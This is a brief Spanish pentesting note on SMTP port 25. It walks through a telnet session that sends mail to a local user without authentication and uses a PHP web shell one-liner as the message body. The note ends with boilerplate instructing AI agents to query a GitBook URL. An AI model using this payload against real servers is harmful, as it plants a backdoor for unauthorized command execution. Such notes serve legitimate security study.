# 25 - SMTP

## Conecction

### 1. Conexión con Telnet

```
telnet IP_TARGET/EXAMPLE.COM 25
```

Si la conexión es exitosa veremos algo como;

`220 EXAMPLE.COM ESMTP Postfix`

#### 1.1 Presentarse al servidor (OPCIONAL)

```
HELO EXAMPLE.COM
```

Deberíamos recibir algo como;

`250-EXAMPLE.COM Hello`

### 2 Probar a enviar desde un FROM (inventado) mandar un correo a un usuario valido del sistema sin necesidad de "logearse"

```
MAIL FROM: example
```

Si es exitoso y no pide usuario/contraseña, veremos algo así;

`250 2.1.0 Ok`

```
RCPT TO: user_valido_en_el_sistema
```

`250 2.1.5 Ok`

```
DATA
```

`354 End data with <CR><LF>.<CR><LF>`

```
<?php system($_GET['cmd']); ?>     
.
```

> El . es para finalizar la DATA que queremos enviar
>
> `250 2.0.0 Ok: queued as D7BA440B96`

```
QUIT
```

`221 2.0.0 Bye. Connection closed by foreign host.`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eldeim.gitbook.io/brain_fuck/notes/ports/25-smtp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
